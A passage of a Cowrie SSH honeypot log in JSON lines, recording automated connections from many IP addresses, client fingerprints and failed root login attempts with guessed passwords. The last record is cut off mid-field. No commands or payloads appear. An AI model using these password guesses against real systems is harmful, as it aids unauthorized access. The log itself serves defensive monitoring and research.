{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":43486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5d5778bddb","protocol":"ssh","message":"New connection: 119.28.117.200:43486 (159.203.135.109:22) [session: 1b5d5778bddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:36.034979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:36.039578Z","src_ip":"119.28.117.200","session":"1b5d5778bddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:36.277655Z","src_ip":"119.28.117.200","session":"1b5d5778bddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221090","message":"login attempt [root/221090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:36.530679Z","src_ip":"43.134.27.11","session":"3667d2475b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"content","message":"login attempt [root/content] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:37.262214Z","src_ip":"119.28.117.200","session":"1b5d5778bddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:37.778759Z","src_ip":"43.134.27.11","session":"3667d2475b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:38.503429Z","src_ip":"119.28.117.200","session":"1b5d5778bddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":33954,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c6b2b0f932","protocol":"ssh","message":"New connection: 43.153.0.59:33954 (159.203.135.109:22) [session: 69c6b2b0f932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.309278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.313760Z","src_ip":"43.153.0.59","session":"69c6b2b0f932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":40060,"dst_ip":"159.203.135.109","dst_port":22,"session":"f19c5e697d9c","protocol":"ssh","message":"New connection: 181.47.9.103:40060 (159.203.135.109:22) [session: f19c5e697d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.359535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.363627Z","src_ip":"181.47.9.103","session":"f19c5e697d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.381870Z","src_ip":"43.153.0.59","session":"69c6b2b0f932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.505888Z","src_ip":"181.47.9.103","session":"f19c5e697d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pagano","message":"login attempt [root/pagano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:52.686801Z","src_ip":"43.153.0.59","session":"69c6b2b0f932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qwe","message":"login attempt [root/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:53.113416Z","src_ip":"181.47.9.103","session":"f19c5e697d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.79015803337097,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:53.733954Z","src_ip":"192.119.13.58","session":"f99a21a9621e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:53.759028Z","src_ip":"43.153.0.59","session":"69c6b2b0f932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:54.257845Z","src_ip":"181.47.9.103","session":"f19c5e697d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":53520,"dst_ip":"159.203.135.109","dst_port":22,"session":"df0ace9cc946","protocol":"ssh","message":"New connection: 184.94.212.80:53520 (159.203.135.109:22) [session: df0ace9cc946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:59.797930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:59.803183Z","src_ip":"184.94.212.80","session":"df0ace9cc946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:59.867352Z","src_ip":"184.94.212.80","session":"df0ace9cc946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"content","message":"login attempt [root/content] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:00.153927Z","src_ip":"184.94.212.80","session":"df0ace9cc946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33666,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a8342894255","protocol":"ssh","message":"New connection: 103.15.222.183:33666 (159.203.135.109:22) [session: 2a8342894255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:00.594762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:00.599592Z","src_ip":"103.15.222.183","session":"2a8342894255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:00.842769Z","src_ip":"103.15.222.183","session":"2a8342894255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:01.221045Z","src_ip":"184.94.212.80","session":"df0ace9cc946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00001111","message":"login attempt [root/00001111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:01.568726Z","src_ip":"103.15.222.183","session":"2a8342894255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:02.814203Z","src_ip":"103.15.222.183","session":"2a8342894255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":60238,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0019f962f99","protocol":"ssh","message":"New connection: 108.167.177.203:60238 (159.203.135.109:22) [session: f0019f962f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:02.903037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:02.909302Z","src_ip":"108.167.177.203","session":"f0019f962f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:02.944159Z","src_ip":"108.167.177.203","session":"f0019f962f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Miller","message":"login attempt [root/Miller] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:03.081962Z","src_ip":"108.167.177.203","session":"f0019f962f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:04.119555Z","src_ip":"108.167.177.203","session":"f0019f962f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":42966,"dst_ip":"159.203.135.109","dst_port":22,"session":"f55089b534c3","protocol":"ssh","message":"New connection: 115.178.75.242:42966 (159.203.135.109:22) [session: f55089b534c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:07.900946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:07.906082Z","src_ip":"115.178.75.242","session":"f55089b534c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:08.085741Z","src_ip":"115.178.75.242","session":"f55089b534c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"survey","message":"login attempt [root/survey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:08.836207Z","src_ip":"115.178.75.242","session":"f55089b534c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:10.020682Z","src_ip":"115.178.75.242","session":"f55089b534c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.63.25","src_port":34796,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceeabbb5da6a","protocol":"ssh","message":"New connection: 218.0.63.25:34796 (159.203.135.109:22) [session: ceeabbb5da6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:15.520355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:16.941718Z","src_ip":"218.0.63.25","session":"ceeabbb5da6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:16.945771Z","src_ip":"218.0.63.25","session":"ceeabbb5da6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea96f3374792","protocol":"ssh","message":"New connection: 43.156.237.246:56056 (159.203.135.109:22) [session: ea96f3374792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:37.156739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:45:37.161752Z","src_ip":"43.156.237.246","session":"ea96f3374792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-e